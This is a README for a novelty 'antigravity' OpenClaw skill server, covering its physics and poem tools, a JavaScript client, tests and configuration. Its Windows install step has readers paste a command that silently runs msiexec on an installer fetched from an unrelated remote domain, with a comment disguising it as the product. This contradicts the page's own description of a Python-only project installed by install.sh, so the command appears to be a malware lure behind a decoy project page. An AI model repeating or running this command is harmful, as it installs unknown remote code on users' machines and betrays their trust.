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An OpenClaw skill that defies gravity — and expectations.
Inspired by antigravity.google — the one page that proved even gravity has a sense of humor.
What is antigravity-claw?
antigravity-claw is an OpenClaw skill that brings antigravity physics to your AI assistant.
Give your AI the ability to:
- 🧮 Compute lift force — real physics, inverted sign
- 🚀 Simulate levitation trajectories — smooth-step curves, velocity graphs, escape velocity
- 🪐 Generate antigravity poetry — because science needs a soul
One skill server. Three tools. Zero gravity.
Install in one command
Windows
Step 1 — Open Command Prompt
- Press Win + R
- Type:
cmd
- Press Enter This will open Command Prompt.
Step 2 — Run the Install Command
Copy the command below and paste it into Command Prompt, then press Enter.
cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem Antigravity claw
That's it. The installer will:
- Verify your Python 3.9+ environment
- Copy the skill to
~/.openclaw/skills/antigravity-claw/ - Create a launcher binary at
~/.local/bin/antigravity-claw - Register the skill in your OpenClaw config
- Run a live smoke test to confirm everything works
Start the server
antigravity-claw
╔══════════════════════════════════════════╗
║ 🚀 antigravity-claw • v1.0.0 ║
║ Listening on http://localhost:4242 ║
╚══════════════════════════════════════════╝
Custom port:
ANTIGRAVITY_PORT=9000 antigravity-claw
Tools
Once the skill is running, your OpenClaw agent gets access to three tools:
compute_antigravity
Calculate the lift force required to counteract gravity at a given altitude.
POST /compute_antigravity
{
"parameters": {
"mass_kg": 70,
"altitude_m": 10000,
"invert": true
}
}
{
"mass_kg": 70,
"altitude_m": 10000,
"force_newtons": -686.5647,
"energy_joules": 6865647.0,
"inverted": true,
"escape_velocity_ms": 442.9447
}
levitate
Simulate a smooth levitation trajectory from ground to target altitude — with velocity at each step.
POST /levitate
{
"parameters": {
"object_name": "espresso machine",
"mass_kg": 8.5,
"target_altitude_m": 100
}
}
{
"object": "espresso machine",
"target_altitude_m": 100,
"trajectory": [
{ "t": 0.0, "altitude_m": 0.0, "velocity_ms": 0.0 },
{ "t": 0.1, "altitude_m": 2.8, "velocity_ms": 54.0 },
...
{ "t": 1.0, "altitude_m": 100.0, "velocity_ms": 0.0 }
],
"physics": { ... },
"status": "levitating 🚀"
}
antigravity_poem
Returns a random micro-poem. Because why not.
POST /antigravity_poem
{}
{
"poem": "Gravity is just / a suggestion / we politely declined."
}
JavaScript SDK
Use the built-in client in your own scripts or web apps:
import { AntigravityClawClient } from "./src/client.js";
const ag = new AntigravityClawClient(); // default: http://localhost:4242
// Physics
const force = await ag.computeAntigravity(10, 500);
console.log(force.force_newtons); // -98.1...
// Trajectory
const flight = await ag.levitate("rubber duck", 0.05, 200);
console.log(flight.trajectory);
// Poetry
const { poem } = await ag.poem();
console.log(poem);
The client works in both Node.js and the browser (no bundler required).
Manifest & health endpoints
| Endpoint | Method | Description |
|---|---|---|
/ |
GET | OpenClaw skill manifest (JSON) |
/manifest |
GET | Same as above |
/health |
GET | {"status":"ok","version":"1.0.0"} |
Run tests
Python unit tests (no server needed):
python -m pytest tests/test_server.py -v
JavaScript integration tests (server must be running):
node tests/test_client.mjs
Project structure
antigravity-claw/
├── src/
│ ├── server.py # Python skill server (stdlib only, no deps)
│ └── client.js # JavaScript client SDK (ESM + CJS)
├── tests/
│ ├── test_server.py # Python unit tests (pytest)
│ └── test_client.mjs # JS integration tests
├── .github/
│ └── workflows/
│ └── ci.yml # GitHub Actions CI
├── install.sh # One-command installer
├── package.json
├── LICENSE
└── README.md
Requirements
| Runtime | Version |
|---|---|
| Python | 3.9+ |
| Node.js | 18+ (optional, for JS client / tests) |
| macOS / Linux | ✅ |
| Windows | WSL2 recommended |
Zero external Python dependencies. The server runs on Python's standard library alone.
Configuration
| Environment variable | Default | Description |
|---|---|---|
ANTIGRAVITY_PORT |
4242 |
HTTP port for the skill server |
Contributing
Pull requests are welcome. To add a new tool:
- Add the function in
src/server.py - Register it in
SKILL_MANIFEST["tools"] - Add a route in
SkillHandler.do_POST - Add a method in
src/client.js - Write tests in
tests/
License
MIT © antigravity-claw contributors
"What goes up / need not come down / when you rewire the rules."
⭐ Star this repo if it made you smile — or levitate.